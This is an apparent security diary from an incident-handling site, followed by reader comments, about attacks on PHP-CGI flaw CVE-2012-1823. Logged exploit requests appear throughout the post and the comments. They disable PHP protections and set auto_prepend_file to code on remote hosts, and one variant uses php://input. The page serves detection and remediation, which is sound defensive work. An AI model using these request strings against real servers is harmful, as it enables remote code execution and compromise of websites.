Reader Bob detected in his webserver the following string in the access log of his web server: bas1-richmondhill34-1177669777.dsl.bell.ca - - [24/May/2012:12:17:49 -0700] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 2890 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)" This string is an attempt to exploit the PHP vulnerability CVE-2012-1823 with the remote execution variant. Let's see what means each of the options invoked:
You can prevent this by using the latest stable PHP version located at the downloads page. If you are using windows, please be careful because you can be affected by the CVE-2012-2376. For more information regarding remediation on this vulnerability, please check my previous diary about it. Have you seen such logs in your access.log webserver file? We want to hear about it. Let us know! Manuel Humberto Santander Peláez |
Manuel Humberto Santander Pelaacuteez 194 Posts ISC Handler May 28th 2012 |
Thread locked Subscribe |
May 28th 2012 8 years ago |
Hi,
I found those similars lines on my log from May 18 /var/log/apache2/other_vhosts_access.log.2.gz:www.siretessile.com:80 host-92-26-32-80.as13285.net - - [18/May/2012:19:00:52 +0200] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)" /var/log/apache2/other_vhosts_access.log.2.gz:www.siretessile.com:80 71.216.169.47 - - [18/May/2012:21:42:11 +0200] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 404 1097 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)" I think that client is the source of attack. Then on error.log /var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(1488): [client 92.26.32.80] proxy: http: found worker http://localhost:8080/ for http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt /var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(2046): proxy: connecting http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080 /var/log/apache2/error.log.2.gz:[Fri May 18 19:00:53 2012] [debug] proxy_util.c(2139): proxy: connected /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080 /var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(1488): [client 71.216.169.47] proxy: http: found worker http://localhost:8080/ for http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt /var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] mod_proxy_ajp.c(575): proxy: AJP: declining URL http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt /var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] mod_proxy_http.c(1937): proxy: HTTP: serving URL http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt /var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(2046): proxy: connecting http://localhost:8080/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080 /var/log/apache2/error.log.2.gz:[Fri May 18 21:42:16 2012] [debug] proxy_util.c(2139): proxy: connected /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt to localhost:8080 How to know what was inside info3.txt ? Regards |
Anonymous |
Quote |
May 28th 2012 8 years ago |
This blog entry provides a lot of detail about this, including the content of info3.txt and even info2.txt:
http://huguesjohnson.com/programming/hacking-attempt/ It is dated May 20th |
Anonymous |
Quote |
May 28th 2012 8 years ago |
We found similar log entries today, May 28.
/var/www/logs/access_log:61.63.20.133 - - [28/May/2012:02:34:29 +0200] "GET /index.php?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://www.kihlborg.se/en/popups.txt+ HTTP/1.1" 200 18092 /var/www/logs/access_log:66.147.240.192 - - [28/May/2012:02:35:08 +0200] "GET /index.php?-n+-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp://www.kihlborg.se/en/popups.txt+ HTTP/1.1" 200 18092 Inside the file www.kihlborg.se/en/popups.txt is this: <?php echo(63416);echo(214353451);echo(214353451);echo(8538568);exit;?> Regards |
JanS 10 Posts |
Quote |
May 28th 2012 8 years ago |
thank you for this info i will be checking my PHP logs to see if the same has come across
sincerely, http://mjddesign.wordpress.com |
Matthew 15 Posts |
Quote |
May 29th 2012 8 years ago |
I have quite a few:
http://pastebin.com/xHCr031f |
fukawi2 2 Posts |
Quote |
May 29th 2012 8 years ago |
I have a server with PHP52 and applied the backport-patch (via FreeBSD-ports). But the webs are still vulnerable to the above.
The rewrite-rule seems to stop them - or blocking the net in Panama where the external code is downloaded from. |
fukawi2 1 Posts |
Quote |
May 29th 2012 8 years ago |
From May 16, only in access_log* (nothing in error_log*):
/var/log/httpd/access_log.2:85.114.141.40 - - [16/May/2012:10:25:40 -0400] "POST //?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input+-d+safe_mode%3d1+-d+suhosin.simulation%3d1+-d+disable_functions%3d%22%22+-d+open_basedir%3dnone+-n HTTP/1.1" 200 1406 "-" "-" |
fukawi2 1 Posts |
Quote |
May 29th 2012 8 years ago |
The earliest one in my WAF log is 5/10/2012 (a day before the CVE posting), and they all are trying a POST. And we don't even use PHP, at all.
|
Shane 7 Posts |
Quote |
May 29th 2012 8 years ago |
Sign Up for Free or Log In to start participating in the conversation!